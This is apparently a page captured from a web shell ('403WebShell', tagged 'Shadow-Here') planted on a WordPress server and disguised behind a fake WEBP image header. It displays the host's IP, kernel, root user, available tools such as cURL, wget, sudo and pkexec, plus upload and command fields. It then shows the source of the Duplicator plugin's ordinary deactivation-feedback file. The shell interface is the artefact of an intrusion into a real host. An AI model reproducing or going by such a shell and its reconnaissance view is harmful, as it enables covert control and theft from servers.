RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/emperor-24/wp-content/plugins/duplicator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/emperor-24/wp-content/plugins/duplicator//deactivation.php
<?php

/**
 * Standard: PSR-2
 *
 * @link http://www.php-fig.org/psr/psr-2 Full Documentation
 */

use Duplicator\Libs\Snap\SnapJson;
use Duplicator\Libs\Snap\SnapUtil;

defined('ABSPATH') || defined('DUPXABSPATH') || exit;

/**
 * Deactivation function
 *
 * @param string $hook Hook
 *
 * @return void
 */
function duplicator_deactivation_enqueue_scripts($hook)
{
    if ('plugins.php' == $hook && !defined('DOING_AJAX')) {
        wp_enqueue_style('duplicator-deactivation-modal', DUPLICATOR_PLUGIN_URL . 'assets/css/modal.css', array(), '1.0.0');
    }
}
add_action('admin_enqueue_scripts', 'duplicator_deactivation_enqueue_scripts');
if (!function_exists('duplicator_plugins_admin_footer')) {

    /**
     * admin footer
     *
     * @return void
     */
    function duplicator_plugins_admin_footer()
    {
        global $hook_suffix;
        if ('plugins.php' == $hook_suffix && !defined('DOING_AJAX')) {
            duplicator_add_deactivation_feedback_dialog_box();
        }
    }

}
add_action('admin_footer', 'duplicator_plugins_admin_footer');
/**
 * Displays a confirmation and feedback dialog box when the user clicks on the "Deactivate" link on the plugins
 * page.
 *
 * @since 2.1.3
 */
if (!function_exists('duplicator_add_deactivation_feedback_dialog_box')) {

    /**
     *Deactivation feedback dialog box
     *
     * @return void
     */
    function duplicator_add_deactivation_feedback_dialog_box()
    {
        $basename = 'duplicator/duplicator.php';
    /*
          $slug = dirname( $basename );
          $plugin_id = sanitize_title( $plugin_data['Name'] );
         */
        $slug                     = 'duplicator';
        $plugin_id                = 'duplicator';
        $contact_support_template = __('Need help? We are ready to answer your questions.', 'duplicator') .
            ' <a href="' . DUPLICATOR_BLOG_URL . 'contact/?form=1" target="_blank">' . __('Contact Support', 'duplicator') . '</a>';
        $reasons                  = array(
            array(
                'id' => 'NOT_WORKING',
                'text' => __("It's not working on my server.", 'duplicator'),
                'input_type' => 'textarea',
                'input_placeholder' => __("Kindly share what didn't work so we can fix it in future updates...", 'duplicator'),
                'internal_message' => $contact_support_template
            ),
            array(
                'id' => 'CONFUSING_TO_UNDERSTAND',
                'text' => __("It's too confusing to understand.", 'duplicator'),
                'input_type' => 'textarea',
                'input_placeholder' => __('Please tell us what is not clear so that we can improve it.', 'duplicator'),
                'internal_message' => $contact_support_template
            ),
            array(
                'id' => 'FOUND_A_DIFFERENT_PLUGIN',
                'text' => __('I found a different plugin that I like better.', 'duplicator'),
                'input_type' => 'textfield',
                'input_placeholder' => __("What's the plugin name?", 'duplicator')
            ),
            array(
                'id' => 'NOT_DO_WHAT_I_NEED',
                'text' => __("It does not do what I need.", 'duplicator'),
                'input_type' => 'textarea',
                'input_placeholder' => __('What does it need to do?', 'duplicator')
            ),
            array(
                'id' => 'TEMPORARY_DEACTIVATION',
                'text' => __("It's a temporary deactivation, I use the plugin all the time.", 'duplicator'),
                'input_type' => '',
                'input_placeholder' => ''
            ),
            array(
                'id' => 'SWITCHING_PRO_VERSION',
                'text' => sprintf(
                    __("I'm switching over to the %s", 'duplicator'),
                    '<a href="' . DUPLICATOR_BLOG_URL . 'features/" target="_blank">' . __('Pro version', 'duplicator') . '</a>'
                ),
                'input_type' => '',
                'input_placeholder' => ''
            ),
            /*
            array(
                'id' => 'OTHER',
                'text' => __('Other', 'duplicator'),
                'input_type' => 'textarea',
                'input_placeholder' => __('Please tell us the reason so we can improve it.', 'duplicator')
            )
            */
        );
        $reasons_list_items_html = '';
        foreach ($reasons as $reason) {
            $list_item_classes = 'duplicator-modal-reason' . (!empty($reason['input_type']) ? ' has-input' : '' );
            if (!empty($reason['internal_message'])) {
                $list_item_classes      .= ' has-internal-message';
                $reason_internal_message = $reason['internal_message'];
            } else {
                $reason_internal_message = '';
            }

            $reasons_list_items_html .= '<li class="' . $list_item_classes . '" data-input-type="' .
                $reason['input_type'] . '" data-input-placeholder="' . $reason['input_placeholder'] . '">
                <label>
                    <span>
                        <input type="radio" name="selected-reason" value="' . $reason['id'] . '"/>
                    </span>
                    <span>' . $reason['text'] . '</span>
                </label>
                <div class="duplicator-modal-internal-message">' . $reason_internal_message . '</div>
            </li>';
        }
        ?>
        <script type="text/javascript">
            (function ($) {
                var modalHtml =
                        '<div class="duplicator-modal duplicator-modal-deactivation-feedback">'
                        + '  <div class="duplicator-modal-dialog">'
                        + '      <div class="duplicator-modal-body">'
                        + '         <h2><?php _e('Quick Feedback', 'duplicator'); ?></h2>'
                        + '         <div class="duplicator-modal-panel active">'
                        + '<p><?php _e('If you have a moment, please let us know why you are deactivating', 'duplicator'); ?>:</p>' 
                        +                  '<ul>' + <?php echo SnapJson::jsonEncode($reasons_list_items_html); ?> + '</ul>'
                        + '            </div>'
                        + '     </div>'
                        + '     <div class="duplicator-modal-footer">'
                        + '          <div>'
                        + '             <a href="#" class="button button-secondary duplicator-modal-button-close"><?php _e('Cancel', 'duplicator'); ?></a>'
                        + '             <a href="#" class="button button-secondary duplicator-modal-button-skip">'
                        + '<?php _e('Skip & Deactivate', 'duplicator'); ?></a>'
                        + '             <a href="#" class="button button-primary duplicator-modal-button-deactivate" disabled="disabled" >'
                        + '<?php _e('Send & Deactivate', 'duplicator'); ?></a>'
                        + '         </div>'
                        + '         <div class="clear"></div>'
                        + '         <div>'
                        * '<small class="duplicator-modal-resp-msg" ><i><?php _e('Your response is sent anonymously.', 'duplicator'); ?></i></small></div>'
                        + '        </div>'
                        + ' </div>'
                        + '</div>',
                        $modal = $(modalHtml),
                        $deactivateLink = $('#the-list .active[data-plugin="<?php echo $basename; ?>"] .deactivate a'),
                        selectedReasonID = false;

                /* WP added data-plugin attr after 4.5 version/ In prev version was id attr */
                if (0 == $deactivateLink.length)
                    $deactivateLink = $('#the-list .active#<?php echo $plugin_id; ?> .deactivate a');

                $modal.appendTo($('body'));

                DuplicatorModalRegisterEventHandlers();

                function DuplicatorModalRegisterEventHandlers() {
                    $deactivateLink.click(function (evt) {
                        evt.preventDefault();

                        /* Display the dialog box.*/
                        DuplicatorModalReset();
                        $modal.addClass('active');
                        $('body').addClass('has-duplicator-modal');
                    });

                    $modal.on('input propertychange', '.duplicator-modal-reason-input input', function () {
                        if (!DuplicatorModalIsReasonSelected('OTHER')) {
                            return;
                        }

                        var reason = $(this).val().trim();

                        /* If reason is not empty, remove the error-message class of the message container to change the message color back to default. */
                        if (reason.length > 0) {
                            $modal.find('.message').removeClass('error-message');
                            DuplicatorModalEnableDeactivateButton();
                        }
                    });

                    $modal.on('blur', '.duplicator-modal-reason-input input', function () {
                        var $userReason = $(this);

                        setTimeout(function () {
                            if (!DuplicatorModalIsReasonSelected('OTHER')) {
                                return;
                            }

                            /* If reason is empty, add the error-message class to the message container to change the message color to red. */
                            if (0 === $userReason.val().trim().length) {
                                $modal.find('.message').addClass('error-message');
                                DuplicatorModalDisableDeactivateButton();
                            }
                        }, 150);
                    });

                    $modal.on('click', '.duplicator-modal-footer .button', function (evt) {
                        evt.preventDefault();

                        if ($(this).hasClass('disabled')) {
                            return;
                        }

                        var _parent = $(this).parents('.duplicator-modal:first'),
                                _this = $(this);

                        if (_this.hasClass('allow-deactivate')) {
                            var $radio = $modal.find('input[type="radio"]:checked');

                            if (0 === $radio.length) {
                                /* If no selected reason, just deactivate the plugin. */
                                window.location.href = $deactivateLink.attr('href');
                                return;
                            }

                            var $selected_reason = $radio.parents('li:first'),
                                    $input = $selected_reason.find('textarea, input[type="text"]'),
                                    userReason = (0 !== $input.length) ? $input.val().trim() : '';

                            if (DuplicatorModalIsReasonSelected('OTHER') && '' === userReason) {
                                return;
                            }

                            $.ajax({
                                url: ajaxurl,
                                method: 'POST',
                                data: {
                                    'action': 'duplicator_submit_uninstall_reason_action',
                                    'plugin': '<?php echo $basename; ?>',
                                    'reason_id': $radio.val(),
                                    'reason_info': userReason,
                                    'duplicator_ajax_nonce': '<?php echo wp_create_nonce('duplicator_ajax_nonce'); ?>'
                                },
                                beforeSend: function () {
                                    _parent.find('.duplicator-modal-footer .button').addClass('disabled');
                                    // _parent.find( '.duplicator-modal-footer .button-secondary' ).text( '<?php _e('Processing', 'duplicator'); ?>' + '...' );
                                    _parent.find('.duplicator-modal-footer .duplicator-modal-button-deactivate')
                                        .text('<?php _e('Processing', 'duplicator'); ?>' + '...');
                                },
                                complete: function (message) {
                                    /* Do not show the dialog box, deactivate the plugin. */
                                    window.location.href = $deactivateLink.attr('href');
                                }
                            });
                        } else if (_this.hasClass('duplicator-modal-button-deactivate')) {
                            /* Change the Deactivate button's text and show the reasons panel. */
                            _parent.find('.duplicator-modal-button-deactivate').addClass('allow-deactivate');
                            DuplicatorModalShowPanel();
                        } else if (_this.hasClass('duplicator-modal-button-skip')) {
                            window.location.href = $deactivateLink.attr('href');
                            return;
                        }
                    });

                    $modal.on('click', 'input[type="radio"]', function () {
                        var $selectedReasonOption = $(this);

                        /* If the selection has not changed, do not proceed. */
                        if (selectedReasonID === $selectedReasonOption.val())
                            return;

                        selectedReasonID = $selectedReasonOption.val();

                        var _parent = $(this).parents('li:first');

                        $modal.find('.duplicator-modal-reason-input').remove();
                        $modal.find('.duplicator-modal-internal-message').hide();
                        $modal.find('.duplicator-modal-button-deactivate').removeAttr( 'disabled' );
                        //$modal.find('.duplicator-modal-button-skip').css('display', 'inline-block');
                        $modal.find('.duplicator-modal-resp-msg').show();

                        DuplicatorModalEnableDeactivateButton();

                        if (_parent.hasClass('has-internal-message')) {
                            _parent.find('.duplicator-modal-internal-message').show();
                        }

                        if (_parent.hasClass('has-input')) {
                            var reasonInputHtml = '<div class="duplicator-modal-reason-input"><span class="message"></span>' +
                                (
                                    'textfield' === _parent.data('input-type') ? 
                                    '<input type="text" />' : 
                                    '<textarea rows="5" maxlength="200"></textarea>'
                                ) + 
                                '</div>';

                            _parent.append($(reasonInputHtml));
                            _parent.find('input, textarea').attr('placeholder', _parent.data('input-placeholder')).focus();

                            /*if (DuplicatorModalIsReasonSelected('OTHER')) {
                                $modal.find('.message').text('<?php _e('Please tell us the reason so we can improve it.', 'duplicator'); ?>').show();
                                DuplicatorModalDisableDeactivateButton();
                            }*/
                        }
                    });

                    /* If the user has clicked outside the window, cancel it. */
                    $modal.on('click', function (evt) {
                        var $target = $(evt.target);

                        /* If the user has clicked anywhere in the modal dialog, just return. */
                        if ($target.hasClass('duplicator-modal-body') || $target.hasClass('duplicator-modal-footer')) {
                            return;
                        }

                        /* If the user has not clicked the close button and the clicked element is inside the modal dialog, just return. */
                        if (
                            !$target.hasClass('duplicator-modal-button-close') && 
                            (
                                $target.parents('.duplicator-modal-body').length > 0 || 
                                $target.parents('.duplicator-modal-footer').length > 0
                            )
                        ) {
                            return;
                        }

                        /* Close the modal dialog */
                        $modal.removeClass('active');
                        $('body').removeClass('has-duplicator-modal');

                        return false;
                    });
                }

                function DuplicatorModalIsReasonSelected(reasonID) {
                    /* Get the selected radio input element.*/
                    return (reasonID == $modal.find('input[type="radio"]:checked').val());
                }

                function DuplicatorModalReset() {
                    selectedReasonID = false;

                    DuplicatorModalEnableDeactivateButton();

                    /* Uncheck all radio buttons.*/
                    $modal.find('input[type="radio"]').prop('checked', false);

                    /* Remove all input fields ( textfield, textarea ).*/
                    $modal.find('.duplicator-modal-reason-input').remove();

                    $modal.find('.message').hide();
                    var $deactivateButton = $modal.find('.duplicator-modal-button-deactivate');
                    $deactivateButton.addClass('allow-deactivate');
                    DuplicatorModalShowPanel();
                }

                function DuplicatorModalEnableDeactivateButton() {
                    $modal.find('.duplicator-modal-button-deactivate').removeClass('disabled');
                }

                function DuplicatorModalDisableDeactivateButton() {
                    $modal.find('.duplicator-modal-button-deactivate').addClass('disabled');
                }

                function DuplicatorModalShowPanel() {
                    $modal.find('.duplicator-modal-panel').addClass('active');
                    /* Update the deactivate button's text */
                    //$modal.find('.duplicator-modal-button-deactivate').text('<?php _e('Skip & Deactivate', 'duplicator'); ?>');
                    //$modal.find('.duplicator-modal-button-skip, .duplicator-modal-resp-msg').css('display', 'none');
                }
            })(jQuery);
        </script>
        <?php
    }

}

/**
 * Called after the user has submitted his reason for deactivating the plugin.
 */
if (!function_exists('duplicator_submit_uninstall_reason_action')) {

    /**
     * submit uninstall reason action
     *
     * @return void
     */
    function duplicator_submit_uninstall_reason_action()
    {
        DUP_Handler::init_error_handler();
        $isValid   = true;
        $inputData = filter_input_array(INPUT_POST, array(
            'reason_id' => array(
                'filter'  => FILTER_UNSAFE_RAW,
                'flags'   => FILTER_REQUIRE_SCALAR,
                'options' => array(
                    'default' => false
                )
            ),
            'plugin' => array(
                'filter'  => FILTER_UNSAFE_RAW,
                'flags'   => FILTER_REQUIRE_SCALAR,
                'options' => array(
                    'default' => false
                )
            ),
            'reason_info' => array(
                'filter'  => FILTER_UNSAFE_RAW,
                'flags'   => FILTER_REQUIRE_SCALAR,
                'options' => array(
                    'default' => ''
                )
            )
        ));
        $reason_id = $inputData['reason_id'];
        $basename  = $inputData['plugin'];
        if (!$reason_id || !$basename) {
            $isValid = false;
        }

        try {
            if (!wp_verify_nonce($_POST['duplicator_ajax_nonce'], 'duplicator_ajax_nonce')) {
                throw new Exception(__('Security issue', 'duplicator'));
            }

            DUP_Util::hasCapability('export', DUP_Util::SECURE_ISSUE_THROW);
            if (!$isValid) {
                throw new Exception(__('Invalid Request.', 'duplicator'));
            }

            $reason_info = isset($_REQUEST['reason_info']) ? stripcslashes(esc_html($_REQUEST['reason_info'])) : '';
            if (!empty($reason_info)) {
                $reason_info = substr($reason_info, 0, 255);
            }

            $options = array(
                'product' => $basename,
                'reason_id' => $reason_id,
                'reason_info' => $reason_info,
            );

            /* send data */
            $raw_response = wp_remote_post(
                'https://snapcreekanalytics.com/wp-content/plugins/duplicator-statistics-plugin/deactivation-feedback/',
                array(
                    'method' => 'POST',
                    'body' => $options,
                    'timeout' => 15,
                    // 'sslverify' => FALSE
                )
            );
            if (!is_wp_error($raw_response) && 200 == wp_remote_retrieve_response_code($raw_response)) {
                echo 'done';
            } else {
                $error_msg = $raw_response->get_error_code() . ': ' . $raw_response->get_error_message();
                SnapUtil::errorLog($error_msg);
                throw new Exception($error_msg);
            }
